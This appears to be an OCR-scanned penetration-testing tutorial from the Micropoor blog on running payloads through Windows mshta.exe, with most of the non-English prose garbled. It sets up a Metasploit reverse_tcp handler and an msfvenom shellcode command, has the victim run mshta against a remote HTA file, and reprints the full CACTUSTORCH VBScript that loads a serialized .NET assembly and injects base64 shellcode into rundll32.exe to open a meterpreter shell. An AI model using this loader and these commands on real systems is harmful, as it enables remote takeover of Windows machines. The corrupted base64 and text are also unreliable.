LFAPTINE SR
https://micropoor.blogspot.com/

Mshtaf&E/ :
Mshta.exe2RIRWindowsi{ERFHABRIER , TN 2FRMicrosoft HTML Application , ATERFE AR
NATMCIESMNA , BT HTAS .

1788 : MshtafrERSREMARFRINPATHINEZ 24 , EIt , TEEHN{TMshta.exed$,

HFHEEMshta.exeftEpayload :

Windows 7 BRANE :
CA\Windows\System32\mshta.exe
CA\Windows\SysWOW64\mshta.exe

IEH - 192.168.1.4 Debian
$B#1 :  192.168.1.3 Windows 7

EeEIENImsf :

euplnit{multifhandlerj = show DptinnE
Module options oit/multishandler)

Description

ayload options (windo

Mame current Setting Required Description

EXITFUNC proce

Ll 1

LFORT 53
Exploit target:

Id Mame

@ Wildcard Target

(ploit (multishandler] = exploit

[*] Started reverse TCP handler on 192

fict&payload :

I msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.16
8.1.4 LPORT=53 -f raw > shellcode.bin


https://micropoor.blogspot.com/

terpreterys

se_tep LHOST=192.168.1.4 LPORT=53 -f raw = shellcode.bin

BT

' Dim code

¢ code = TV

$EHNINAT

1 mshta.exe http://192.168.1.4/Micropoor.hta

meterpreter = getuid

Server | name:  John- ohn
pid

current pid: 5

fffZ : Micropoor.hta
i¥ : x86 payload

es] t

ion 5 opened Eigg.lbu.

1921

| <script language="VBScript">

9

3 Usage:

I ' Choose a binary you want to inject into

pad.exe, calc.exe for example

default

"rundll32.exe"

§5.1.3:16475) at 2019-01-16 00:59:

you can use note

5 ' Generate a 32 bit raw shellcode in whatever framework you want. Tested: Cobalt St
rike, Metasploit Framework

6 Run:

cat payload.bin | base64 -w ©

7 Copy the base64 encoded payload into the code variable below

8

9

exists both in SYSWOW64 and SYSTEM32

10 Dim binary

11

binary

"rundl132.exe"

12 ' Base64 encoded 32 bit shellcode

I3

Replace with binary name that you want to inject into

This can be anything that



14 Dim code : code = "/0OiCAAAAYInlMcBkilAwilIMilIUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vISVAtS
EItKPItMEX]jjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzwOBxzjgdfYDffg7fSR15FiLWCQBO@2aLDEuLWBwWBO:
sEiwHQiUQkIJFtbYV1aUf/gX19aixLrjV1ioMzIAAGh3czJfVGhMdyYHiej/@OLiQAQAAKcRUUGEpgGsA/9VqCmj/
gAEEaAIAADWIS51BQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh170hnAAAAagBqBFZXaALZyF/ /1)
P4AH421z7qQGgAEAAAVmMoAaFikU+X/1ZNTagBWU1ldoAtnIX//Vg/gAfShYaABAAABQAFBoCy8PMP/VV2hlbk1l
h/9VeXv8MIA+FcP///+mb////AcMpxnXBw7vwtaJWagBT/9Uu="

15

16

18 Sub Debug(s)

19 End Sub

20 Sub SetVersion

21 End Sub

22 Function Base64ToStream(b)

23 Dim enc, length, ba, transform, ms

24 Set enc = CreateObject("System.Text.ASCIIEncoding")

25 length = enc.GetByteCount_2(b)

26 Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform")
27 Set ms = CreateObject("System.IO.MemoryStream")

28 ms.Write transform.TransformFinalBlock(enc.GetBytes 4(b), @, length), @, ((length
/ 4) * 3)

29 ms.Position = @

30 Set Base64ToStream = ms

31 End Function

&2

33 Sub Run

34 Dim s, entry_class

35 s = "AAEAAAD/////AQAAAAAAAAAEAQAAACITeXNOZWOURGVsZWdhdGVTZXIpYWxpemFOaWOuSGIsZGVy"

36 s = s & "AWAAAAhEZWx1Z2F@ZQdOYXInZXQwB211dGhvZDADAWMWU31zdGVtLKkR1bGVnYXR1U2VyaWFsa)
ph"

37 s = s & "dGlvbkhvbGR1citEZWx1Z2FOZUVudHI5I1IN5c3R1bS5EZWx1Z2FOZVN1cmlhbG16YXRpb25Ib:
k"
38 s = s & "ZXIvU31zdGVtL1J1Zmx1Y3Rpb24uTWVtYmVySW5mbIN1cmlhbG16YXRpb25Ib2xkZXIJAgAAAL
kD"
39 s = s & "AAAACQQAAAAEAgAAADBTeXNOZWOURGVSZWdhdGVTZXIpYWxpemFOaWOuSG9sZGVyKOR1bGVnY>
R1"
40 s = s & "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2VOEnNRhcmd1ldFR5cGVBc3N1bWIseQ50YXInZ)
RU"

41 s = s & "eXB1TmFtZQptZXRob2ROYW11DWR1bGVNnYXR1RW50cnkBAQIBAQEDMFN5c3R1bS5EZWXx1Z2F0OZ\
N"

42 s = s & "cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAALIN5c3R1bS5SdW50aW11L1I1by
90"
43 s = s & "aW5nLk11c3NhZ21uZy5IZWFkZXJIIYW5kbGVYyBgYAAABLbXNjb3JsaWISIFZ1cnNpb249MidwL -
Au”

=
n
Il

n
Q0

"MCwgQ3VsdHVYZT1uZXVOcmFsLCBQdWIsaWNLZX1Ub2t1bj1iNzdhNWMINE5MzR1IMDg5BgcAAL

45 s = s & "dGFyZ2VOMAKGAAAABgkAAAAPU31zdGVtLKkR1bGVnYXR1BgoAAAANRHIUYW1pY@ludm9OrZQoEAv

>
0
1

)
0

"ACITeXNOZWOURGVSZWdhdGVTZXIpYWxpemF@aWOuSG9sZGVyAwAAAAhEZWx1Z2FOZQdOYXInZ)



47
Vu"

48
AA™

49
9u"

50
R5"

51
YR"
52
AA™

53
5Y"

54
dh"

B
Nz"

56
AA"
57
dy
58
AA"

59
QA"
60
UA"

61
AA"
62
AA"
63
BA"
64
AA"
65
AA"
66
oT"
67
AA"
68
ME"
69
AK"
70
AK"
71
AA"
72
oc”

"B211dGhvZDADBWMwU31zdGVtLkR1bGVnYXR1U2VyaWFsaXphdGlvbkhvbGR1citEZWx1Z2F@ZL

"dHI5Ai9TeXNOZWOuUmVmbGVjdGlvbi5NZW1iZXIIbmZvU2VyaWFsaXphdGlvbkhvbGR1cgkLA/

"CQWAAAAIDQAAAAQEAAAALIN5c3R1IbS5SZWZSZWNOaWOuLk11bWI1ckluZm9TZXIpYWxpemFoalk

"SG9sZGVyBgAAAAROYW11DEFzc2VtYmx5TmFtZQ1DbGFzc@5hbWUIU21nbmFOdXJI1Ck11bWI1lc]

"cGUQR2VUZXJIpYOFyZ3VtZW50cwEBAQEAAWENU31zdGVtL1R5cGVbXQkKAAAACQYAAAAICQAAA/L

"AAAALFN5c3R1bS5PYmplY3QgRHIuYW1lpY@ludmOrZShTeXNOZWOuT2IqZWNOW10pCAAAAAOBCY

"AATAAAAGEgAAACBTeXNOZWOUWG1sLINjaGVtYS5YbWXWYWx1ZUd1dHR1cgYTAAAATVN5c3R1bs

"bWwsIFZ1cnNpb249Mi4wL jAuMCwgQ3VsdHVYyZT1uZXVOcmFsLCBQdWIsaWNLZX1Ub2t1bj1iN:

"NWMINjE5MzR1IMDg5BhQAAAAHAGFyYZ2VOMAKGAAAABhYAAAAaU31zdGVtL1J1Zmx1Y3Rpb24uQ>

"ZW1ibHKkGFwWAAAARMb2FkCg8MAAAAABAAAAINWPAAAWAAAAQAAAD/ /WAAUAAAAAAAAABAAAAAAL

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAADh+6DECOCCOhUAFMzSFUaGlzIHByb:

"YWOgY2Fubm90IGI1IHI1biBpbiBET1MgbWOkZS4NDQoKkAAAAAAAAAFBFAABMAQMAKNhXWQAAA/L

"AAAA4AAAITASBMAAAFgAAAAYAAAAAAABYNQAAACAAAABAAAAAAAAQACAAAAACAAAEAAAAAAAAAL

"AAAAAAAAATAAAAACAAAAAAAAAWBAhQAAEAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAATL

"AESAAAAAQAAAKAMAAAAAAAAAAAAAAAAAAAAAAAAAYAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAL

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAATAAAAAAAAAAAAAAATITIAAASAAAAAAAAL

"AAAALNR1eHQAAABAFQAAACAAAAAWAAAAAgAAAAAAAAAAAAAAAAAATAAAYCSy c3JjJAAAAKAMAAL

"AAAABAAAABgAAAAAAAAAAAAAAAAAAEAAAEAUCMV Sb2MAAAWAAAAAYAAAAATAAAACAAAAAAAAAL

"AAAAAABAAABCAAAAAAAAAAAAAAAAAAAAAFQIAAAAAAAASAAAAATABQDAIQAAKBMAAAEAAAAAAL

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHET0DWAAC]

"MAOABWEAAAEAABEEKBAAAAOKEEEGjmkoEQAACNMIAAAGDAEW T TUAAARYAQAACBME cgMAAHAOE ¢

"Cm8TAAAKFJEZchOAAHAOEgAACNIrAABwAY gUAAAKEWQrF3IdAABWKBIAAApYQQAACAMOFAAACEH

"EQQUFBQXGNn4VAAAKFAgSAygBAAAGIgl17BAAABBMFEgUoFgAACNIXAABWKBCcAAAOSbhEFFnMRA/L

"ByAAMAAAHOAOAgAABhMGEgYoFgAACNIXAABWKBgAAAOSChEFFigEAAAGIioWEwcSCAaOaSgRA/L

"EQURBgYRCBEHKAMAAAYMEQUWcXEAAAOWEQYWc XEAAAOWFNMRAAAKKAUAAAYmKnoCFhUAAApP9Ag

"BATIoDWAACEICKBKAAAp9AQAABCOAABMWAEBEAAAAAAAAAAT+FQAACNOrAAAEANAVAAAKTSWAAL



3
gpP"
74
Aj"

75
wB"

76
AA"

7
kF"

78
YG"

79
41"

AK"

AG"

EB"

84
FW"

85
oD"

86
AG"

87
41"

88
FW*"

UA"

KA"

VA"

BB"

97
MG"

98
AJ"

"fhUAAAp9LQAABAJ+FQAACNO4AAAEAN4AVAAAKTTKAAAQCThUAAAPp9OgAABAT+FQAACNO7AAAEA]

"AAAKAgI0oGQAACNOqAAAEKKkITSKkIBAAEAAAAAAAWAAAB2Mi4wL jUwNzI3AAAAAAUAbAAAACEHAL

"fgAA1AcCAAEwWIAAAJU3RyalW5ncwAAAADgEAAAXAAAACNVUWABEQAAEAAAACNHVUIEAAAATBEAAD

"AAAGQmxVYgAAAAAAAAACAAABVXOCFAKCAAAA+ZEZABYAAAEAAAAXAAAACQAAAFAAAAAIAAAAHY

"ABKAAAAZAAAAEGAAAAEAAAABAAAABQAAAAEAAAABAAAABWAAAAAAMQYBAAAAAAAGAFWFkgcGAN

"kgcGAIOEYACPALIHAAAGALIE4QYGADAF4QYGABEF4QYGALAF4QYGAHWF4QYGAJUF4QYGAMKE4(

"AJ4EcwcGAHWE cwcGAPQE4QYGAKSIqQYGAGEEqQYGAEOFqQYGALAGqQYGAMOIqQYGAFKHQQYGAL

"qQYGAGYGqQYGAIQGCcwWCcAAAAAITQAAAAAAAQABAAEAEABtBgAAPQABAAEACEAQAPEHAAASAAEAC!

"ARAAZgYAAEEABAAJAAIBAAAbCAAASQATIAAKAAgEAADYIAABIACCACQAKABAABgCcAADOAKgAIAL

"AABtBAAASQABAAOAAGEAAPMGAABIAEUACEAGAHOG+EAGAEQHPWAGACQE /QAGAHQIPWAGAOCDPY

" AMgD+gAGAL@D+gAGBpADAAFWgL I CAWFWgMACAWFWEGQAAWF WG I gCAWFWEMIAAWFWgFMCAWFWgF

" AWFWgBOCAWFWgAUCAWFWEKABAWFWEAIDAWFWEF 4BAWFWgEE gBAWFWgOE BAWFIWGE@CAWFWgDECAY

"gGoDAWFWgIIDAWFWgIkCAwFWgBODAWFWgHYBAWFWgHUAAWFWEDOAAWFWECcBAWFWEKgAAWFWgEL

"AwFWgLkBAwWFWgBgBAWFWgMYBAWFWgOUCAWEGBp4DAAFWgIEABWFWgHICBWEGAKYD+gAGAO8DPY

" ABcHPWAGADMEPWAGAE sD+gAGAJoD+gAGAOCF+gAGAO8F+gAGAEcI+gAGAFUI+gAGAOQE+gAGA(

"+gAGAOCICWEGAAOACWEGABKAPWAGANIIPWAGANWIPWAGADQHPWAGBp4DAAFWgN4ACDgFWgO8ADg

"gJ@BDgFWgNgCDgFWgNUBDgFWgA8BDgFWgIQBDgFWgAMBDEEGBpADAAFWEOCAEgFWEF CAEgFWg)

"EgFWgFgDEgFWgGkCEgFWgESDEgFWENOAEgFWgGADEgFWgBEGEgFWgCQGEgFWgDKkGEEAAAAAg!

"IC4AFgEBAAAAAACAATYg8wgqAQSAAAAAATAATIiIAICTUBEAAAAAAAGACIWIGMIPWEVAAAAAACAAL

"1ANFARCAUCAAAAAAhhg+BwYAHgBYIAAAAACGAEOEUAEeAGShAAAAATYYPgcGACAAjCEAAAAAL

"BWYAIAAAAAEAOWQAAATAUWQAAAMASACAAAQABQCAAAUAWQCAAAYACWEAAACAVAEGAAAgAHAKBA/

"BAcCAAOAZAYAAAEAGWQAAATAiIwgAAAMAAWYAAAQAawQAAAUASsggAAAEAdAgAAATATQEAAAMAT(

"AAQAAWYAAAUAtQYAAAEAdAgAAATA+gMAAAEAJAgGAAATAGQCAAAMAOWUAAAQALIQgAAAUAKACAAL

"CwgAAACAsgMAAAEAAgKAAATIAAQAIADAHAQARAD4AHBEAZADAHCEApADAHEAAXADAHEAASADAHE

"AD4HEABJAD4HEABRAD4HEABZADAHEABhAD4HFQBpAD4AHEABXAD4HEACIAD4AHBgBS5AD4AHBECZAF

"KQChAD4HAQC pAAQE LwCXAHKGNACXAKQIOAChABIHPWChAGQGQgCXADS JRGCXAC8IRgC5AAOGT/



99 s
gA"

100 s
AAJ"
101 s
J0A"
102 s
0A7"
103 s
DOB"
104 s
AEU"

105 s
HMA"

106 s
AMB"

107 s
AYA"

108 s
DxN"

109 s
Vos*™

110 s
OFU"

111 s
INP"

112 s
1dB"
113 s
OXF"

114 s
VNT*"

115 s
1Ip"

116 s
URP"

117 s
133"

118 s
k1u"

119 s
wBD"

120 s
Fip"

121 s
usJ"

122 s
19X"

123 s
klo"
124 s
Ghy"

s & "ACQAWgAJACgAXwAJACWAZAAJADAAaQAJADQAbgAIJADgACWAIADWAeAAJAEAATQAJAEQAEEAIAL

"hwAJAEWAJAAJAFAAKQAJAFQA1gAJAFgAmWAJAFWAOAAJAGAAPQAJAGQAqgAIAGEArwAJAGwWAL

"AHAAUQAJAHQAVEAJAHgAWWAIAHWAYAAJATAAZQAJAIQAOEAIAIgAIWAIAIWASAAIATAA4QATA

"5gAJAIgA6WAIAKAAWGAITAKQAXWAIJAPQA1gAJAPgAmMWAJAPWASAAJAAABUQAJAAQB4QAIAAgEBS

"AAwBvgAJABABWWAJABgBbgAJABWBCcWAJACABeAAJACQBTQAJACEBWEAJACWBXWAJADABZAAJA

"aQAJADgBggAJADWBhwAJAEABjAAUAASAVEEUABMAXWEUABSATgEUACMAhwEUACSAhwEUADMAN

"ADSAMAEUAEMAhwEUAE sAhwEUAFMAMAEUAF sAngEuAGMApAEUAGsAzgFDAFsAngGjAHMAWgDDA

"WgADAXMAWgAJjAXMAWgAaAIWGAAEDAC4AAQAAAQUABWEBAAABBWAJCQEAAAEJAGMIAQAAAQSAL

"AASAAAABAAAAAAAAAAAAAAAAAP cAAAACAAAAAAAAAAAAAABRAKKDAAAAAAMAAZAEAATABQACA

"AgAHAATACAACAAKAAGAAAAAAAHNOZIWXSY29KZTMyAGNiUMVzZXI2ZWQYyAGXwUMVZzZXI2ZWQyA

"b2R1bGU+AENYZWFOZVBYb2N1c3NBAENSRUFURVOCUkKVBSOFXQV1fR1IPTVOKTOIARVhFQ1VUR

"RUFEAENSRUFURVOTVVNQRUS5ERUQAUFJPQOVTU19NTORFX@IBQOtHUKOVTKRFRUSEAERVUEXJ(

"RVODTESTRVOTT1VSQOUAQ1IFQVRFXORFRKFVTFRFfRVIST1IfTU9ERQBDUKVBVEVTTKVXXONPT

"TEUARVhFQ1VURV9SRUFEV1JJVEUARVhFQ1VURQBSRVNFU1ZFAENBQ1RVU1RPUKNIAFdSSVRFX

"VENIAFBIWVNIQOFMAFBSTOZITEVFSOVSTKkVMAENSRUFURVIQUKVTRVIWRVODTORFXOFVVEhaX

"VKVMAENSRUFURVOTSEFSRURTVOIXX1ZETQBDUKVBVEVFUBVQQVIBVEVFVOIXX1ZETQBQUKIODR

"X01PREVFQkFDSOAST1VORFOCRUAITgBUT1BfREOXTgBHTWBDUKVBVEV{TkVXX1BSTONFULINFR

"VVAAUF JPRk1MRVOVUOVSAFBSTOZITEVfUOVSVkKVSAEXBUkdFX1BBROVTAENSRUFURVOGT1IDR

"UWBIREXFX1BSSU9SSVRZXONMQVNTAFJFQUXUSU1FX1BSSU9SSVRZXONMQVNTAEhIROhTUFJIJT

"VF1fQOxBULIMAQUIPVKVFTkOSTUFMX1BSSU9SSVRZXONMQVNTAEJFTE9XXQ5PUk1BTFOQUk1PU

"WVODTEFTUWBOTOFDQOVTUWBEVVBMSUNBVEVfUOFNRVIBQONFUIMAREVUQUNIRURFUFJIPQOVTU

"UkVBVEVfUFJPVEVDVEVEX1BSTONFUIMAREVCVUdfUFJPQOVTUWBERUIVR19PTkxZX1RISVNFU

"QOVTUWBSRVNFVABDTO1INSVQAQ1IFQVRFX@1HTKkOSRVOTWVNURU1fREVGQVVMVABDUKVBVEVFV

"QO9ERVIOFT1ZJUk9OTUVOVABFWFRFTKRFRFOTVEFSVFVQSU5GT19QUkVTRUSUAENSRUFURVOOT

"SUSET1cAZHAYAFJFQURPTkxZAEVYRUNVVEVfV1JIVEVDT1BZAELOSEVSSVRTUEFSRUSUXOFGR

"SVRZAE10SEVSSVRTQOFMTEVSX1BSSU9SSVRZAGR3WQB2YWXx1ZVOfAGNiAG1zY29ybGliAGXWV



125 s
ABs"

126 s
mhl1"
127 s
QBW"

128 s
W31"

129 s
HJh"

130 s
mli"

131 s
XRO"

132 s
XNz"
133 s
mx5"
134 s
GR3"

135 s
UNI"

136 s
W5n"

137 s
OFD"

138 s
XNz"

139 s
XBJ"

140 s
HBT"

141 s
Glt"

142 s
2dp"
143 s
HIp"

144 s
mxh"

145 s
wBU"

146 s
nRB"

147 s
3Rk"

148 s
GVQ"
149 s
XR5"

150 s
wBX"

"ZWFkSWQAZHdUaHJ1YWRIZABkd1Byb2N1c3NIZABDcmVhdGVSZW1vdGVUaHI1YWQAaFRocmVhZ

"cFJ1c2VydmVkAHVFeG10Q29kZQBHZXRFbnZpcmOubWVudFZhcmlhYmx1AGxwSGFuZGx1AGJJb

"cmlOSGFUZGx1AGxwVG1obGUAbHBBcHBsaWNhdGlvbk5hbWUAZmxhbWUAbHBDb21tYW5kTGluZ

"YWx1ZVR5cGUAZmxBbGxvY2F@aW9uVH1wZQBHAW1kQXROcm1lidXRIAER1YnVnZ2FibGVBdHRya

"dGUAQ29tVmlzaWJsZUF@dHIpYnVOZQBBc3N1bWIseVRpdGx1QXROcmlidXRIAEFZzc2VtYmx5V

"ZGVtYXJIrQXROcmlidXR1AGR3Rm1sbEF@dHIpYnVOZQBBCc3N1bWIseUZpbGVIWZXIzaWOuQXROc

"dXR1AEFzc2VtYmx5Q29uZmlndXJhdGlvbkF@dHIpYnVOZQBBc3N1bWIseUR1c2NyaXBOaWouQ

"cmlidXR1AEZsYWdzQXROcm1lidXRIAENVbXBpbGFOaWOuUmVsYXhhdGlvbnNBdHRyaWJ1dGUAG

"ZW1ibH1Qcm9kdWNOQXROcm1idXR1AEFzc2VtYmx5Q29weXIpZ2h@QXROcmlidXR1AEFzc2VtY

"Q29tcGFueUFOdHIpYnVOZQBSdW50aW11Q29tcGFRaWIpbGloeUFOdHIpYNVOZQBkd1lhTaXplA

"WVNpemUAZHdTdGF jalNpemUAZHdTaXplAFNpemVPZgBHVUFSRFONb2RpZm11lcmZsYWcATkIODG

"RVONb2RpZm11lcmZsYWcAV1JIVEVDTO1CSUSFX01vZGlmaWVyZmxhZwBGcm9tQmFzZTYOU3Rya

"AFRVU3RyaW5nAGNhY3R1c1RvcmNoAGd1dFOMZW5ndGgATWFyc2hhbABrZXJuZWwzMi5kbGwAQ

"VFVTVE9SQOguUZGXxsAFN5c3R1bQBFbnVtAGXwTnVtYmVyT2ZCeXR1cldyaXROZWAAbHBQcmIjZ

"SW5mb3JtYXRpb24AU31zdGVtL131Zmx1Y3Rpb24ATWVtb3I5UHIvdGVjdGlvbgBscFNOYXJQd

"bmZvAFplcm8AbHBEZXNrdGOwAGI1ZmZ1lcgBscFBhcmFtZXR1cgBoU3RkRXJyb3IALmMNOb3IAb

"ZWN1cml@eUR1c2NyaXBOb3IASW5QUHRYAFN5c3R1bS5EaWFnbm9zdGljcwBTeXNOZWOuUnVud

"ZS53bnR1cm9wU2VydmljZXMAU31zdGVtL1I1bnRpbWUuQ29tcGlsZXITZXJ2aWN1cwBEZWI12

"bmdNb2R1cwBiSW50ZXIpdEhhbmRsZXMAbHBUaHJ1YWRBdHRyaWJ1dGVzAGxwUHIvY2VzcOF@d

"YnVOZXMAU2VjdXIpdH1BdHRyaWJ1dGVzAGR3Q3J1YXRpb25GbGFncwBDcmVhdGVQcm9jZXNzR

"Z3MAZHdGbGFncwBEdXBsaWNhdGVPcHRpb25zAGR3WENVdW50Q2hhcnMAZHdZQ291bnRDaGFyc

"ZXJtaW5hdGVQcm9jZXNzAGhQcm9jZXNzAGXxwQmFzZUFkZHJ1c3MAbHBBZGRYZXNzAGXxwU3Rhc

"ZGRyZXNzAENvbmNhdABPYmp1lY3QAZmxQcm90ZWNOAGXWRW52aXIvbm11bnQAQ29udmVydABoU

"SW5wdXQAaFNOZE91dHB1dAB3U2hvdldpbmRvdwBWaXJ@dWF sQWxsb2NFeABiaW5hcnkAV33Jpd

"cm9jZXNzTWVtb3I5AGXxwQ3VycmVudERpcmVjdG9yeQBvcFIFcXVhbG1l0eQBvcF9IbmVxdWFsa

"AAAAAAABAB1QAHIAbwBNAHIAYQBtAFcANgAGADMAMEAADXcAaQBUAGQAaQBYyAAAVXABTAHKAC



"AESAVWA2ADQAXAAAFVWAUWB5AHMAJAB1AGOAMWAYAFWAAAMWAAAARY+bzulLgxE+aSSAzLsphX

"IAEBCAMgAAEFIAEBEREEIAEBDgQgAQECDgCcIJHQUYEhWREA4YGAgYBQABHQUOBAABDgADIAAIB

"Dg40DgIGGAMEAA4FAAICDEAEAAEIHAI3el1XWGTTgiQQBAAAABATIAAAAEBAAAAAQIAAAABBAAA

"TIAAAAARAAAAABIAAAAAEAAEAAAQAAgAABAAEAAAEAAGAAAQAEAAABAAGAAAEAEAAAAQAZGAAAB

"AQAEAAACAAQAAAQABAAACAAEAAAQAAQAACAABAAAAAEEAAAAAZQAAAAEBAAAAAEEAAAAEAQAA

"BAAAAEAEAAAAgAQAMAAABAAAQAACBEgCBgICBgkDBhEUAWYRGAIGBEMGESADBhEKEWAKGA4OE

"DAIRFBgOEhwQERAKAAUYGBEYESARJAKABQIYGBOFGAgFAAICGAKKAACYGBgIGBgIGAUGAgEOL

"AAgAAAAAABABAAEAVAIWV3JIhcE5vbkV4Y2VwdGlvblRocm93cwEIAQACAAAAAAAQAQALQOFDV

"VE9SQOgAAAUBAAAAAAUBAAEAACKBACQINJUS50GYxYy02ZDg4LTQ50TQtYTM5Mi1lhZ jMzN2FiZ

"NzcAAAWBAACXLJAUMCAWAAAASDUAAAAAAAAAAAAAY JUAAAAGAAAAAAAAAAAAAAAAAAAAAAAAA

"AFQ1AAAAAAAAAAAAAAAAXONVCkRsbE1haW4AbXNjb331ZS5kbGwAAAAAAP81ACAAEAAAAAAAA

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABEGAATAAAAAAAAAAAAAAAAAAAAEAA

"ADAAATAAAAAAAAAAAAAAAAAAAAEAAAAAAEEAAABYQAAANAMAAAAAAAAAAAAANAMOAAAAVEBTA

"VgBFAFIAUWBIAEBATgBTAEKATEBGAESAAAAAALOE7 /AAAAEAAAABAAAAAAAAAAEAAAAAADSAA

"AAAABAAAAATAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEACEBGAGKAbABIAEKAbgBMAGSAAAAAA

"BAAAAFQAcgBhAG4AcwBsAGEAdJABpAG8AbgAAAAAAAACWBIQCAAABAFMAdABYAGKAbgBNAEYAa

"AGUASQBUAGYAbwAAAHACAAABADAAMAAWADAAMAAGAGIAMAAAADAADAABAEMAbWBtAGOAZQBUA

" cwAAAEMAQQBDAFQAVQBTAFQATWBSAEMASAAAACIAAQABAEMAbwBtAHAAYQBUAHKATEBhAGOAZ

"AAAAAAAAAEAADAABAEYAaQBsAGUARABIAHMAYwBYAGKACABOAGKAbwBUAAAAAABDAEEAQWBUA

"UwBUAE8AUgBDAEgAAAAWAAZAAQBGAGKAbABIAFYAZQBYAHMAaQBVAGAAAAAAADEALgAWACAAN

"ADAAAABAABAAAQBIAG4AdAB1AHIAbgBhAGWATgBhAGOAZQAAAEMAQQBDAFQAVQBTAFQATWBSA

"SAAUAGQAbABSAAAAPAAMAAEATAB1AGCcAYQBSAEMAbwBWAHkAcgBpAGcAaABOAAAAQWBBAEMAV

"AFMAVABPAFIAQWBIAAAAKgABAAEATAB1AGCAYQBSAFQAcgBhAGQAZQBtAGEACgBrAHMAAAAAA

"AABIABAAAQBPAHIAaQBNnAGkAbgBhAGWAREBpAGWAZQBUAGEAbQBIAAAAQWBBAEMAVABVAFMAV



177

S

FQA"

178
gAw

179

S

S =

DAA™

180

S

AAA™

181

S =

AAA™

182

S

AAA™

183

S =

AAA™

184

S

AAA™

185

S =

AAA™

186

S

AAA"

187

S

AAA™

188

S

AAA™

189

S

AAA"

190

S

AAA™

191

S =

Glv"

192
193
194
195

196

S =

s &

"AFTIAQWBIAC4AZABSAGWAAAA4AAWAAQBQAHIAbwBKAHUAYWBOAE4AYQBtAGUAAAAAAEMAQQBDA

"VQBTAFQATWBSAEMASAAAADQACAABAFAACgBVAGQAdQBjAHQAVEBLAHIACWBpAG8AbgAAADEAL

"AC4AMAAUADAAAAA4AAgAAQBBAHMACWB1AGOAYgBSAHKATABWAGUAcgBzAGKkAbwBUAAAAMQAUA

"LgAWAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"AAAAAAAAAAAAAAAAADAAAAWAAABONQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

"AAAAAAAAAAAAAAABDQAAAAQAAAATFWAAAAKGAAAACRYAAAAGGEAAACATeXNOZWOuUUmMVmbGVjd

"bi5Bc3N1bWIseSBMb2FkKEJ5dGVbXSKIAAAACgGSA™

entry_class = "cactusTorch"

Dim fmt, al, d, o

Set

tter")

197
198
199
200
201
202
203
204
205
206
207
208
209
210
211

fmt

= CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryForma

Set al = CreateObject("System.Collections.ArrayList")

al.Add fmt.SurrogateSelector

Set
Set

d =

0 =

o.flame

End

Sub

fmt.Deserialize_2(Base64ToStream(s))
d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)

binary, code

SetVersion

On Error Resume Next

Run

If Err.Number <> @ Then

Debug Err.Description

Err.Clear

End

If



212
213 self.close
214 </script>

215

XIR :
https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta

e  Micropoor


https://raw.githubusercontent.com/mdsecactivebreach/CACTUSTORCH/master/CACTUSTORCH.hta

